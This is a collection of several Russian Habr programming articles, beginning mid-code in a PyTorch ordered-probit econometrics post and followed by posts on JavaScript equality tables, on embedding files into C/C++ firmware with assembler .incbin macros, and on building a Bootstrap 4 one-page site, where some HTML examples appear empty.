optimizer = torch.optim.Adam(model.parameters(), lr=lr, weight_decay=wd)
pbar = trange(steps)
for i in pbar:
optimizer.zero_grad()
proba = model(x)
loss = loss_fn(torch.log(proba), y)
loss.backward()
nn.utils.clip_grad_norm_(op.parameters(), max_norm)
pbar.set_description(f"Loss: {loss.item():2.10f}")
optimizer.step()
op = OrderedProbitModel(features=4, levels=5)
train(op, x, y)
# Loss: 0.7598916888
print(op.dense.weight.data)
# tensor([[0.9262, 1.5742, 1.3730, 0.2391]])
print(op.head.cutpoints.data)
# tensor([0.4655, 1.8380, 4.8357, 6.3309])
```
### Cross-nested
Модель Ordered Probit очень простая и робастная, но может быть недостаточно гибкой, чтобы полноценно описать решение комитета. Мы можем попытаться описать это решение поэтапно. Допустим, сначала комитет решает верхнеуровнево: понижать ли ставку, оставить прежней, или повысить. Если решили повысить или понизить, то выбирают, насколько. Похожим мог бы быть и, например, анализ текста отзыва: сначала мы определяем общую тональность (положительная, отрицательная или нейтральная), потом вычисляем, насколько эта тональность выражена интенсивно. Это можно описать вложенными (nested) моделями: один ordered probit принимает верхнеуровневое решение, другой доуточняет положительные решения, третий – отрицательные.
Вишенкой на тортике будут "разнородные нули". Даже если комитет настроен положительно (или, наоборот, отрицательно), он может решить в итоге не менять ставку. Это значит, что "нулевое" решение может иметь место во всех трёх режимах – положительном, отрицательном и нейтральном. Такая модель и называется cross-nested.
Такая двухуровневая модель ещё немножко отдаляет нас от классической регрессии и приближает к классической классификации. В линейной регрессии или Ordered Probit нужно выучивать один вектор , в многоклассовой логистической регрессии – пять векторов, в CNOP – три вектора. Отрицательные решения похожи друг на друга, а положительные – друг на друга, но при этом положительные решения могут сильно отличаться от отрицательных.
Закодить это можно примерно так. Dense слой считает три скора, которые потом поступают в три Ordered Probit головы, результаты которых комбинируются в одну матрицу вероятностей.
```
class CrossNestedOrderedProbitModel(nn.Module):
""" A model transforming a vector of features into a matrix of probabilities.
The model uses a neutral category (center),
negative categories (from 0 to center -1),
and positive categories (from center + 1 to levels - 1).
For each group of categories, parameters are different.
Input size: [batch, features]
Output size: [batch, levels]
"""
def __init__(self, features, levels, center, smoothing=1e-10):
super(CrossNestedOrderedProbitModel, self).__init__()
self.features = features
self.levels = levels
self.center = center
self.smoothing = smoothing
self.dense = nn.Linear(features, 3, bias=False)
self.head_zero = OrderedProbitHead(3)
self.head_neg = OrderedProbitHead(center + 1)
self.head_pos = OrderedProbitHead(levels - center)
def forward(self, x, y=None):
dense = self.dense(x)
nzp = self.head_zero(dense[:, [0]])
negative = self.head_neg(dense[:, [1]])
positive = self.head_pos(dense[:, [2]])
probas = torch.zeros([x.shape[0], self.levels])
probas[:, self.center] += nzp[:, 1]
probas[:, :(self.center+1)] += nzp[:, [0]] * negative
probas[:, self.center:] += nzp[:, [2]] * positive
if self.smoothing:
probas = (1-self.smoothing) * probas + self.smoothing * torch.ones_like(probas) / self.levels
return probas
cnop = CrossNestedOrderedProbitModel(features=4, levels=5, center=2)
train(cnop, x, y, lr=0.1, steps=10000)
# Loss: 0.6336604357
```
Весь этот код для PyTorch я написал вчера за полчаса. Код для Stata я не мог привести в приличное состояние несколько лет. И стыдно, и смешно.
### P-values и вторая производная
В головах многих (и эконометристов, и MLщиков) машинное обучение и эконометрика находятся где-то бесконечно далеко друг от друга. В ML модели (в основном нейросети) сложнючие и неинтерпретируемые, а в эконометрике супер прозрачные, и их можно прощупывать статистическими тестами.
На самом деле, конечно, модели одни и те же. CrossEntropyLoss, которую оптимизируют примерно все нейросети-классификаторы – это известная из статистики функция правдоподобия, только со знаком минус. А значит, веса нейросети – это оценки максимального правдоподобия, и обладают кучей полезных свойств. В частности, в больших выборках их распределение сходится к совместному нормальному с ковариационной матрицей, равной минус обратной матрице вторых производных функции потерь. На практике это означает, что мы можем легко посчитать стандартные отклонения для весов нейросети, а с их помощью – доверительные интервалы и статистическую значимость. И если в старомодных пакетах типа Stata вторые производные надо считать руками (или полагаться на численные методы), то фреймворки типа PyTorch умеют дифференцировать символьно. Даже два раза.
Итак, код для вычисления стандартных отклонений параметров нейронки:
1. Вычисляем первые производные (градиент) функции потерь по параметрам;
2. Проходимся циклом по всем элементам градиента, дифференцируем их ещё раз, и складываем в матрицу;
3. Инвертируем матрицу;
4. Ещё раз проходимся по всем параметрам, и достаём с диагонали матрицы соответствующие значения.
Код
```
def get_standard_errors(model, loss):
all_params = torch.cat([p.view(-1) for p in model.parameters()])
hessian = torch.empty(all_params.shape * 2)
first_order_grads = torch.autograd.grad(loss, model.parameters(), retain_graph=True, create_graph=True)
c = 0
for i, (name, param) in enumerate(model.named_parameters()):
v = param.view(-1)
g = first_order_grads[i].view(-1)
var = torch.empty_like(v)
for j, gg in enumerate(g):
hh = torch.autograd.grad(gg, model.parameters(), retain_graph=True)
hessian[c] = torch.cat([p.view(-1) for p in hh])
c += 1
standard_deviations = torch.diag(torch.inverse(hessian)) ** 0.5
result = []
start = 0
for i, (name, param) in enumerate(model.named_parameters()):
v = param.view(-1)
n = v.shape[0]
ss = standard_deviations[start:start+n].view(param.shape)
result.append(ss)
start += n
return result
```
Теперь мы можем нарисовать красивую табличку для параметров модели, прямо как в вашем любимом статистическом пакете:
```
from scipy.stats import norm
def report(model, loss):
result = []
names = []
se = get_standard_errors(model, loss)
for i, (name, param) in enumerate(model.named_parameters()):
shape = param.squeeze().shape
v = param.view(-1).detach().numpy()
s = se[i].view(-1).detach().numpy()
for j, (vv, ss) in enumerate(zip(v, s)):
t = np.abs(vv / ss)
result.append({
'value': vv,
'std': ss,
't': t,
'p-value': norm.cdf(-t) * 2,
'[2.5%': vv-ss*1.96,
'97.5%]': vv+ss*1.96,
})
if len(v) > 1:
names.append(f'{name}{list(np.unravel_index(j, shape))}')
else:
names.append(name)
return pd.DataFrame(result, index=names)
likelihood = nn.CrossEntropyLoss(reduction='sum')
report(op, likelihood(torch.log(op(x)), y)).round(4)
```
Как видим, в модели Ordered Probit коэффициенты при всех входных признаках значимые, и каждый из них увеличивает вероятность роста ключевой ставки.
Подобным же образом можно было посчитать и предельные эффекты, нужно только дифференцировать не по параметрам, а по обучающим данным.
Как видите, современные нейронки отнюдь не являются несовместимыми со статистическими методами. Просто их нужно правильно готовить.
![]()![]()![]()О жизни
-------
За этот проект я познал много различий и много сходств:
* Написав тысячи строк говнокода, я понял, что отличает от него нормальный код (в первую очередь – удобством модификации и внятной структурой).
* Поработав с чудовищным фреймворком Stata+Mata, я всей душой полюбил удобные, современные и хорошо поддерживаемые питонячьи фреймворки.
* Долго занимаясь и эконометрикой, и машинным обучением, я укрепился в мысли, что это суть одно и то же.
* Я прочувствовал, что писать код, который будет частью крупного популярного фреймворка – весьма вдохновляющее занятие.
* Я также прочувствовал, что писать код, которым примерно никто примерно никогда не будет пользоваться – довольно уныло.
* Даже из не очень крутого проекта может получиться неплохой пост на Хабре.
Вот мой [репозиторий](https://github.com/avidale/cnop), вот [блокнот](https://github.com/avidale/cnop/blob/master/cnop_torch.ipynb) с кодом на питоне, вот [статья](https://www.hse.ru/data/2018/05/30/1149326878/193EC2018.pdf).
Если захотите поговорить об эконометрике, машинке, статистике и смысли жизни, пишите в комменты или мне в личку.
Спасибо за внимание! | https://habr.com/ru/post/548100/ | null | ru | null |
# Не заставляйте (не)равенства в JavaScript выглядеть хуже, чем они есть
Время от времени я встречаю публикации, где рассказывается о том, какие из значений оператора `==` эквивалентны (как, например, [здесь](http://dorey.github.io/JavaScript-Equality-Table/)). Часто при этом оговаривается, что приведённые в таблице данные не очень хорошо организованы.
Я согласен, такие таблицы нужны, чтобы лучше ориентироваться в несовершенствах оператора… вот только несовершенства в организации данных в самих таких таблицах, на мой взгляд ещё больше усложняют ситуацию. Вот, к примеру, таблица из ссылки, приведённой выше:
Кошмар, товарищи!.. Как по мне, так здесь бóльший беспорядок в очерёдности строк/столбцов.
Сгруппировав их по наличию пересечений мы получим более внятную картину:
Так легче ориентироваться, не правда ли? А ещё такая организация таблицы позволяет сразу увидеть несовершенства `==`.
Код
---
Ниже приведён код, который я использовал для создания моей версии этой таблицы. Он доступен на [jsfiddle](http://jsfiddle.net/G943v/1/).
#### HTML
```
```
#### JavaScript
```
var cmp = function(v1, v2) { return v1 == v2; };
var vals = [
["false", function() { return false; }],
["0", function() { return 0; }],
['""', function() { return ""; }],
["[[]]", function() { return [[]]; }],
["[]", function() { return []; }],
['"0"', function() { return "0"; }],
["[0]", function() { return [0]; }],
["[1]", function() { return [1]; }],
['"1"', function() { return "1"; }],
["1",function() { return 1; }],
["true", function() { return true; }],
["-1", function() { return -1; }],
['"-1"', function() { return "-1"; }],
["null", function() { return null; }],
["undefined", function() { return undefined; }],
["Infinity", function() { return Infinity; }],
["-Infinity", function() { return -Infinity; }],
['"false"', function() { return "false"; }],
['"true"', function() { return "true"; }],
["{}", function() { return {}; }],
["NaN", function() { return NaN; }]
];
var canvas = document.getElementById("drawCanvas");
var ctx = canvas.getContext("2d");
var n = vals.length;
var r = 20; // diameter of grid squares
var p = 60; // padding space for labels
// color grid cells
for (var i = 0; i < n; i++) {
var v1 = vals[i][1]();
for (var j = 0; j < n; j++) {
var v2 = vals[j][1]();
var eq = cmp(v1, v2);
ctx.fillStyle = eq ? "orange" : "white";
ctx.fillRect(p+i*r,p+j*r,r,r);
}
}
// draw labels
ctx.fillStyle = "black";
var f = 12;
ctx.font = f + "px Helvetica";
for (var i = 0; i < n; i++) {
var s = vals[i][0];
var w = ctx.measureText(s).width;
ctx.save();
ctx.translate(p+i*r+r/2-f*0.4,p-w-2);
ctx.rotate(3.14159/2);
ctx.fillText(s, 0, 0);
ctx.restore();
}
for (var i = 0; i < n; i++) {
var s = vals[i][0];
var w = ctx.measureText(s).width;
ctx.fillText(s, p-w-2, p+i*r+r/2+f*0.4);
}
// draw grid lines
ctx.beginPath();
ctx.strokeStyle = "black";
for (var i = 0; i <= n; i++) {
ctx.moveTo(p+r*i, p);
ctx.lineTo(p+r*i, p+r*n);
ctx.moveTo(p, p+r*i);
ctx.lineTo(p+r*n, p+r*i);
}
ctx.stroke();
```
Резюме
------
Оператор `==` в JavaScript совершенно интранзитивен и ущербен. И хоть его недостатки с лихвой покрываются использованием `===`, он не настолько ужасен, как показано в некоторых таблицах…
Апдейт
------
Это было труднее, но всё же получилось сделать таблицу истинности для оператора `<` ([смотрим на jsfiddle](http://jsfiddle.net/G943v/16/)):
Таблица истинности для оператора сравнения по форме напоминает треугольник, если расположить её значения в правильном порядке.
(Кстати, принцип упорядочивания значений в таблице истинности для сравнения, не всегда подходит для составления таблиц равенства.)
#### P.S. от переводчика
Хочется обратить ваше внимание на обсуждение данной статьи на [Reddit](http://www.reddit.com/r/programming/comments/21k92r/dont_make_javascript_equality_look_worse_than_it/). На самом деле у оригинальной организации таблицы есть [вполне себе веские основания](http://www.reddit.com/r/programming/comments/21k92r/dont_make_javascript_equality_look_worse_than_it/cge0be1):
 | https://habr.com/ru/post/218061/ | null | ru | null |
# Как подключить содержимое любых файлов для использования в коде C / C++
Привет, Хабровчане!
Это моя первая статья и у меня есть чем поделиться. Возможно мой велосипед не нов и этим способом пользуется каждый, но когда-то давно искал решения, с ходу найти не получилось.
### О чем речь?
Задача состояла в подключении файлов: **HTML**, **JS**, **CSS**; без специальной подготовки. Так же неудобно подключать **бинарные** файлы (например **картинки**) конвертируя их в **HEX**. Так как не хотелось конвертировать в **HEX** или разделять на строки, искал способ подключения файла в адресное пространство программы.
### Как обычно это выглядит
Пример, c разделением строк:
```
const char text[] =
"" "\r\n"
"Text" "\r\n"
"";
```
Пример, с **HEX** (больше подходит для бинарных данных):
```
const char text[] =
{
0x3C, 0x68, 0x74, 0x6D, 0x6C, 0x3E, 0x0A, 0x3C,
0x62, 0x6F, 0x64, 0x79, 0x3E, 0x54, 0x65, 0x78,
0x74, 0x3C, 0x2F, 0x62, 0x6F, 0x64, 0x79, 0x3E,
0x0A, 0x3C, 0x2F, 0x68, 0x74, 0x6D, 0x6C, 0x3E,
0
};
```
Видел даже такое:
```
#define TEXT "\r\nText\r\n"
const char text[] = TEXT;
```
Все #define располагались в отдельном **.h** файле и подготавливались скриптом на **Python**. С аннотацией, что некоторые символы должны быть экранированы **\** вручную в исходном файле. Честно немного волосы дыбом встали от такого мазохизма.
А хотелось, чтобы файлы можно было спокойно редактировать, просматривать и при компиляции всё само подключалось и было доступно, например так:
```
extern const char text[];
```
Оказалось всё просто, несколько строчек в **Assembler**.
### Подключаем файл в Arduino IDE
Добавляем новую вкладку или создаём файл в папке проекта с названием **text.S**, там же размещаем файл **text.htm**.
Содержимое файла **text.htm**:
```
Text
```
Содержимое файла **text.S**:
```
.global text
.section .rodata.myfiles
text:
.incbin "text.htm"
.byte 0
```
Не забываем нулевой символ **\0** в конце, он здесь в строке сам не добавится.
Сам скетч:
```
extern const char text[] PROGMEM;
void setup()
{
Serial.begin(115200);
Serial.println(text);
}
void loop() { }
```
Компилируем, загружаем и смотрим вывод:
Отлично, когда-то бы я от радости прыгал до потолка, от того что всё получилось.
Код работает в **AVR8**, но например в **ESP8266** получим аппаратный сбой. Всё потому, что чтение из **Flash** доступно по **32 бита** и по адресам кратным **32 бит**. Чтобы было всё хорошо, каждому файлу требуется делать отступ для кратности, код будет выглядеть так:
```
.global text
.section .rodata.myfiles
.align 4
text:
.incbin "text.htm"
.byte 0
```
Загрузить можно в секцию кода: **.irom.text**, если не хватает места в **.rodata**.
Для **STM32** так же рекомендуется выравнивать по **32 бита**, но не обязательно.
А как записать размер данных во время компиляции? Например, для бинарных данных не получится остановится по нулевому символу. Так же просто:
```
.global text, text_size
.section .rodata.myfiles
text:
.incbin "text.htm"
text_end:
.byte 0
text_size:
.word (text_end - text)
```
Объявление:
```
extern const char text[] PROGMEM;
extern const uint16_t text_size PROGMEM;
```
Осталось написать макрос, для удобства подключения файлов:
```
.macro addFile name file
.global \name, \name\()_size
// .align 4
\name:
.incbin "\file"
\name\()_end:
.byte 0
// .align 4
\name\()_size:
.word (\name\()_end - \name)
.endm
.section .rodata.myfiles
addFile text1 1.txt
addFile text2 2.txt
addFile text3 3.txt
```
И макрос для объявления:
```
#define ADD_FILE(name) \
extern const char name[] PROGMEM; \
extern const uint16_t name##_size PROGMEM;
ADD_FILE(text1);
ADD_FILE(text2);
ADD_FILE(text3);
void setup()
{
Serial.begin(115200);
Serial.println(text1);
Serial.println(text1_size);
Serial.println(text2);
Serial.println(text2_size);
Serial.println(text3);
Serial.println(text3_size);
}
void loop() { }
```
Вывод:
Таким образом можно подключить любой файл и представить его любым типом, структурой или массивом.
### Подключаем любой файл и не только, в GNU toolchain
Принцип тот же самый, ничем не отличается для **Arduino**. В принципе в **Arduino** используется тот же **toolchain** от **Atmel**.
Только здесь у нас в руках **Makefile** и мы можем до компиляции и сборки запустить какой-нибудь скрипт.
Для примера возьму код из готового моего проекта на **STM32**, где автоматически при компиляции увеличивается версия сборки. Так же включаются в проект **WEB-интерфейс** для последующего использования в **LWIP** / **HTTPD**.
Скрипт **version.sh**:
```
#!/bin/bash
# Version generator
# running script from pre-build
MAJOR=1
MINOR=0
cd "$(dirname $0)" &>/dev/null
FILE_VERSION="version.txt"
FILE_ASM="version.S"
BUILD=$(head -n1 "$FILE_VERSION" 2>/dev/null)
if [ -z "$BUILD" ]; then
BUILD=0
else
BUILD=$(expr $BUILD + 1)
fi
echo -n "$BUILD" >"$FILE_VERSION"
cat <"$FILE\_ASM"
/\*\*
\* no editing, automatically generated from version.sh
\*/
.section .rodata
.global \_\_version\_major
.global \_\_version\_minor
.global \_\_version\_build
\_\_version\_major: .word $MAJOR
\_\_version\_minor: .word $MINOR
\_\_version\_build: .word $BUILD
.end
EOF
cd - &>/dev/null
exit 0
```
Создаётся файл **version.S** в который из **version.txt** загружается номер версии предыдущей сборки.
В **Makefile** добавляется цель **pre-build**:
```
#######################################
# pre-build script
#######################################
pre-build:
bash version.sh
```
В цель **all** надо дописать **pre-build**:
```
all: pre-build $(BUILD_DIR)/$(TARGET).elf $(BUILD_DIR)/$(TARGET).hex $(BUILD_DIR)/$(TARGET).bin
```
Объявление и макросы для **printf** у меня в **macro.h**:
```
extern const uint16_t __version_major;
extern const uint16_t __version_minor;
extern const uint16_t __version_build;
#define FMT_VER "%u.%u.%u"
#define FMT_VER_VAL __version_major, __version_minor, __version_build
```
В **HTTPD** из **LWIP** немного был удивлён когда увидел, что содержимое файлов надо хранить вместе с заголовками **HTTP**. Чтобы не менять архитектуру, загрузку делал как это организовано в примере **fsdata.c**. Использовал **fsdata\_custom.c**, для этого установлен флаг **HTTPD\_USE\_CUSTOM\_FSDATA**.
Код в **fsdata\_custom.c**:
```
#include "lwip/apps/fs.h"
#include "lwip/def.h"
#include "fsdata.h"
#include "macro.h"
extern const struct fsdata_file __fs_root;
#define FS_ROOT &__fs_root
```
Сборка файлов **fsdata\_make.S**:
```
.macro addData name file mime
\name\():
.string "/\file\()"
\name\()_data:
.incbin "mime/\mime\().txt"
.incbin "\file\()"
\name\()_end:
.endm
.macro addFile name next
\name\()_file:
.word \next\()
.word \name\()
.word \name\()_data
.word \name\()_end - \name\()_data
.word 1
.endm
.section .rodata.fsdata
.global __fs_root
/* Load files */
addData __index_htm index.htm html
addData __styles_css styles.css css
addData __lib_js lib.js js
addData __ui_js ui.js js
addData __404_htm 404.htm 404
addData __favicon_ico img/favicon.ico ico
addData __logo_png img/logo.png png
/* FSDATA Table */
addFile __logo_png 0
addFile __favicon_ico __logo_png_file
addFile __404_htm __favicon_ico_file
addFile __ui_js __404_htm_file
addFile __lib_js __ui_js_file
addFile __styles_css __lib_js_file
__fs_root:
addFile __index_htm __styles_css_file
.end
```
В начале каждого файла загружается заголовок, пару примеров из папки **mime**.
Файл **html.txt**:
```
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Connection: close
```
Файл **404.txt**:
```
HTTP/1.1 404 Not found
Content-Type: text/plain; charset=UTF-8
Connection: close
```
Нужно обратить внимание на пустую строку, чего требует спецификация **HTTP** для обозначения конца заголовка. Каждая строка должна заканчиваться символом **CRLF** (\r\n).
**P.S.** Код проекта из ветхого сундука, так что в реализации мог забыть чего ни будь уточнить.
### В завершении
Долго искал, что изложить в статье полезного. Надеюсь мой опыт пригодится новичку и гуру.
Спасибо за внимание, удачных разработок! | https://habr.com/ru/post/545946/ | null | ru | null |
# Начинающему веб-мастеру: делаем одностраничник на Bootstrap 4 за полчаса
[Фреймворк Bootstrap](https://ru.wikipedia.org/wiki/Bootstrap_(%D1%84%D1%80%D0%B5%D0%B9%D0%BC%D0%B2%D0%BE%D1%80%D0%BA)) — это свободный набор инструментов для создания интерфейсов сайтов и веб-приложений. Его возможности ориентированы исключительно на фронтенд-разработку. Bootstrap — проект весьма популярный, о чём, например, говорит то, что он занимает (по состоянию на начало марта 2018-го года) [второе место](https://github.com/search?o=desc&q=stars%3A%3E1&s=stars&type=Repositories) по количеству звёзд на GitHub.
[](https://habrahabr.ru/company/ruvds/blog/350758/)
Если вы хотите освоить Bootstrap, в частности, его самую свежую, четвёртую версию, значит, этот материал подготовлен специально для вас. Здесь, на небольшом сквозном примере, который реально освоить за полчаса, будут продемонстрированы основы Bootstrap, разобравшись с которыми вы вполне сможете сделать что-то своё, использовав этот фреймворк.
Предварительные требования
--------------------------
Эта материал ориентирован на начинающих веб-разработчиков, владеющих основами HTML, CSS и jQuery.
Вот одностраничный веб-сайт, о создании которого средствами Bootstrap мы будем говорить.
*Готовый проект, созданный средствами Bootstrap*
Загрузка и установка Bootstrap
------------------------------
Загрузить и использовать Bootstrap можно несколькими способами. Для начала, можно воспользоваться `npm`. Тут понадобится такая команда:
```
npm install bootstrap
```
Bootstrap можно подключить к странице с использованием сети доставки контента. Для этого надо добавить следующую ссылку в тег :
Свежую версию Bootstrap можно загрузить [отсюда](http://getbootstrap.com/) и использовать локально.
Структура проекта должна выглядеть так, как показано на следующем рисунке.
*Структура проекта*
О возможностях Bootstrap 4
--------------------------
Первая стабильная версия Bootstrap 4 вышла в конце января сего года. Теперь Bootstrap включает в себя некоторые интересные возможности, которых не было в его предыдущей версии. А именно, если говорить об улучшениях и изменениях, можно отметить следующее:
* Bootstrap 4 переписан с использованием технологии flexbox, в то время как в Bootstrap 3 применялась технология float. Если вы не знакомы с flexbox — взгляните на [этот материал](https://scrimba.com/p/pL65cJ/canLGCw).
* В Bootstrap 4, в CSS, применяются единицы измерения `rem`, в то время как раньше применялись единицы измерения `px`. [Здесь](https://zellwk.com/blog/media-query-units/) можно узнать о том, чем они отличаются.
* Некоторые компоненты, такие, как панели (panels), были удалены. [Тут](http://getbootstrap.com/docs/4.0/migration/#global-changes) можно найти подробности об изменениях внесённых в Bootstrap 4.
На самом деле, в Bootstrap 4 много нового в сравнении с Bootstrap 3, если вам это нужно — можете самостоятельно ознакомиться с этими новшествами. Мы же приступаем к работе над нашим учебным проектом.
Система сеток Bootstrap
-----------------------
Система сеток Bootstrap (Bootstrap Grid System) предназначена для создания макетов страниц. Она упрощает разработку отзывчивых веб-сайтов. В новой версии Bootstrap не изменились имена классов (надо отметить, что класса `.xs` больше не существует).
Сетка разделена на 12 колонок, эта структура, настроенная так, как нужно разработчику, является основой макета страницы.
Для того чтобы использовать Bootstrap-сетку, нужно добавить класс `.row` к главному элементу страницы. При настройке размеров вложенных элементов используют следующие классы (вместо звёздочки в конце имени класса указывается число столбцов базовой 12-колоночной сетки, которое должен занимать конкретный элемент):
* `col-lg-*` — класс, используемый для страниц, предназначенных для устройств с большим экраном вроде ноутбуков;
* `col-md-*` — класс для страниц, рассчитанных на устройства с экраном среднего размера, таких, как планшеты;
* `col-sm-*` — класс для страниц, которые рассчитаны маленькие экраны, например, такие, как у смартфонов.
Навигационная панель
--------------------
Навигационные панели в Bootstrap создают с использованием класса `.navbar`. Фактически, это — обёртка, в которую помещают элементы, формирующие навигационную панель. Ниже показана панель, которую мы сейчас создадим. Она расположена в верхней части страницы и не исчезает при прокрутке.
*Навигационная панель*
Итак, для того, чтобы на странице появилась навигационная панель, добавим в `index.html` тег с классом `.navbar`, внутри которого, с использованием других классов, вроде `.navbar-brand`, `.navbar-toggler` и `.nav-item`, создают некоторые специальные элементы и структуру системы навигации по сайту. Класс `.fixed-top` позволяет зафиксировать навигационную панель в верхней части страницы. Вот разметка навигационной панели:
```
[Home](#)
* [About](#)
* [Portfolio](#)
* [Team](#)
* [Post](#)
* [Contact](#)
```
Теперь создадим файл `main.css` и подключим его к странице, поместив в тег файла `index.html` следующее:
Это позволит настраивать стили элементов страницы, размещая в этом файле CSS-правила. Добавим в этот CSS-файл правила, задающие цветовое оформление навигационной панели:
```
.navbar{
background:#F97300;
}
.nav-link , .navbar-brand{
color: #f4f4f4;
cursor: pointer;
}
.nav-link{
margin-right: 1em !important;
}
.nav-link:hover{
background: #f4f4f4;
color: #f97300;
}
.navbar-collapse{
justify-content: flex-end;
}
.navbar-toggler{
background:#fff !important;
}
```
Новая сетка Bootstrap построена на основе flexbox, поэтому для выравнивания содержимого нужно пользоваться соответствующими свойствами. Например, для того, чтобы поместить меню навигационной панели справа, нужно использовать свойство `justify-content` и установить его значение во `flex-end`:
```
.navbar-collapse{
justify-content: flex-end;
}
```
Для настройки цвета фона навигационной панели можно воспользоваться классами `.bg-light` (светлый фон), `.bg-dark` (тёмный фон) и `.bg-primary` (основной цвет фона). Мы используем следующие настройки:
```
.bg-dark{
background-color:#343a40!important
}
.bg-primary{
background-color:#343a40!important
}
```
Шапка страницы
--------------
Для описания шапки страницы применяется тег :
```
```
Подготовим макет для шапки страницы. Мы хотим, чтобы она занимала всю высоту окна, поэтому тут нам пригодятся возможности jQuery. Создадим файл `main.js` и подключим его к `index.html` перед закрывающим тегом :
В файл `main.js` добавим следующее:
```
$(document).ready(function(){
$('.header').height($(window).height());
})
```
Нелишним будет поместить в шапку страницы какую-нибудь приятную фоновую картинку. Сделаем это следующим образом:
```
/*header style*/
.header{
background-image: url('../images/headerback.jpg');
background-attachment: fixed;
background-size: cover;
background-position: center;
}
```
Вот что у нас в итоге получилось.
*Шапка страницы с фоновым изображением*
Пока шапка сайта выглядит пустовато, поэтому добавим в неё элемент , назначив ему класс `.overlay`, что приведёт к созданию блока, который расположен поверх фонового изображения шапки. Изменим тот участок файла `index.html`, где мы описывали шапку, следующим образом:
```
```
Затем, в `main.css`, добавим следующее:
```
.overlay{
position: absolute;
min-height: 100%;
min-width: 100%;
left: 0;
top: 0;
background: rgba(244, 244, 244, 0.79);
}
```
Теперь добавим в шапку описание проекта. Его мы поместим в новый элемент с классом `.containter`. Это — вспомогательный класс фреймворка Bootstrap, предназначенный для размещения содержимого с учётом нужд отзывчивого макета. Вот как изменится разметка на данном шаге:
```
```
Теперь добавим сюда ещё один элемент , которому назначим класс `.description`:
```
### ▍
Hello ,Welcome To My officail Website
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
See more
```
Этому тегу мы назначим ещё и класс `.text-center`, что позволит выровнять его содержимое по центру страницы. В конце описания сайта имеется кнопка. Поговорим о том, как её настроить.
Кнопки
------
В Bootstrap предусмотрено множество классов, предназначенных для кнопок. Посмотреть некоторые примеры оформления кнопок можно [здесь](https://codepen.io/Saidalmaghribi/pen/oEWgbw). Мы, как видно в примере разметки из предыдущего раздела, добавили к элементу классы `.btn` и .`btn-outline-secondary`.
Теперь настроим стили для класса `.description`:
```
.description{
position: absolute;
top: 30%;
margin: auto;
padding: 2em;
}
.description h1{
color:#F97300 ;
}
.description p{
color:#666;
font-size: 20px;
width: 50%;
line-height: 1.5;
}
.description button{
border:1px solid #F97300;
background:#F97300;
color:#fff;
}
```
Вот как будет выглядеть шапка страницы после выполнения вышеописанных действий:
*Шапка страницы, содержащая описание проекта*
Раздел About
------------
Для начала посмотрим на то, что мы хотим создать. Перед вами — раздел страницы со сведениями о веб-разработчике.
*Раздел About*
Здесь мы воспользуемся возможностями сетки Bootstrap для того, чтобы сформировать макет раздела, состоящий из двух частей. Приступим к работе, добавив к родительскому элементу раздела класс `.row`:
Первая часть макета будет расположена слева, она будет содержать фотографию. Вторая часть, расположенная справа, вместит описание.
Вот как выглядит разметка левой части этого раздела:
```
// левая часть
S.Web Developer
```
А вот что получится после того, как сюда будет добавлено описание правой части макета:
```
S.Web Developer
### ▍D.John
ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
```
Обратите внимание на настройку ширины столбцов с использованием вышеописанных классов `col-lg-*`, `col-md-*` и `col-sm-*`.
Вот стили для всего этого:
```
.about{
margin: 4em 0;
padding: 1em;
position: relative;
}
.about h1{
color:#F97300;
margin: 2em;
}
.about img{
height: 100%;
width: 100%;
border-radius: 50%
}
.about span{
display: block;
color: #888;
position: absolute;
left: 115px;
}
.about .desc{
padding: 2em;
border-left:4px solid #10828C;
}
.about .desc h3{
color: #10828C;
}
.about .desc p{
line-height:2;
color:#888;
}
```
Раздел Portfolio
----------------
Займёмся теперь разделом, в котором будет представлено портфолио разработчика. Он будет содержать галерею работ.
*Раздел Portfolio*
При формировании макета этого раздела применяются те же принципы работы с сеткой, которые мы рассматривали выше:
```
Portfolio
=========
```
Добавление класса `.img-fluid` к каждому из изображений делает их отзывчивыми.
Каждый элемент в нашей галерее, на средних и больших экранах, занимает 4 колонки (напомним — класс `col-sm-12` используется для устройств с маленькими экранами, класс `col-md-4` используется для средних экранов, `col-lg-4` — для устройств с большими экранами). Как результат, на больших и средних экранах на один элемент придётся примерно 33.3% элемента-контейнера, на маленьких устройствах каждый элемент будет занимать весь экран (12 колонок).
Стилизуем галерею работ:
```
/*Portfolio*/
.portfolio{
margin: 4em 0;
position: relative;
}
.portfolio h1{
color:#F97300;
margin: 2em;
}
.portfolio img{
height: 15rem;
width: 100%;
margin: 1em;
}
```
Раздел Blog и работа с карточками
---------------------------------
Поговорим о создании раздела, в котором содержатся анонсы материалов из блога, который ведёт наш условный веб-разработчик.
*Раздел Blog*
Для создания этого раздела нам понадобятся так называемые карточки (cards в терминологии Bootstrap).
Для того чтобы создать карточку, нужно включить в макет элемент и добавить к нему класс `.card`. Для настройки различных элементов карточки можно использовать следующие классы:
* `.card-header`: шапка
* `.card-body`: основное содержимое
* `.card-title`: заголовок
* `.card-footer`: подвал
* `.card-image`: изображение
HTML-разметка этого раздела будет выглядеть так:
```
Blog
====
#### Post Title
proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Read more
#### Post Title
proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Read more
#### Post Title
proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Read more
```
Вот стили для карточек:
```
.blog{
margin: 4em 0;
position: relative;
}
.blog h1{
color:#F97300;
margin: 2em;
}
.blog .card{
box-shadow: 0 0 20px #ccc;
}
.blog .card img{
width: 100%;
height: 12em;
}
.blog .card-title{
color:#F97300;
}
.blog .card-body{
padding: 1em;
}
```
Вот как будет выглядеть наш одностраничник после создания раздела Blog:
*Страница после добавления раздела Blog*
Раздел Team
-----------
В этом разделе будут размещены сведения о команде проекта.
*Раздел Team*
Для формирования этого раздела мы воспользуемся сеткой, поровну разделив имеющееся пространство между изображениями. Каждое изображение (на больших и средних экранах) будет занимать 3 колонки сетки, что составляет 25% общего пространства.
Вот HTML-разметка этого раздела:
```
Our Team
========
Sara
Manager
Chris
S.enginner
Layla
Front End Developer
J.Jirard
Team Manger
```
А вот — стили:
```
